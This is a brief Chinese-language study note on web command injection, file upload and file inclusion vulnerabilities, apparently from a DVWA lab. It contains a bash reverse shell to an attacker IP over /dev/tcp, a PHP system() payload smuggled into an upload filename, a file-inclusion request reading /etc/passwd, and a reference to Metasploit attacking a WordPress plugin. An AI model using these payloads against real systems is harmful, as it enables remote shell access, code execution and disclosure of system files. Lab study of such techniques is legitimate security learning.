web命令执行、命令注入和文件上传漏洞
如:
- sudo bash -i > & /dev/tcp/攻击机IP(192.168.208.154)/4444 0>&1
- burpsuite截获数据包。点击“ACTION”,选择“Send to Repeater”
在Repeater标签下,对数据包进行修改。把filename=“<?php system('uname -a');die();?>.php”
- 文件包含和文件上传漏洞
实验地址:http://10.10.10.129/dvwa/vulnerabilities/fi/?page=include.php
将page=后面的参数改为:/etc/passwd,执行即可返回系统的用户情况
实际比这个复杂的多。这个漏洞不但是文件包含,还是RFI:远程文件包含,允许攻击者执行远程主机文件。
也可以在msfconsole中,搜索与wordpress博客web应用相关的flash gallery wordpress plugin进行攻击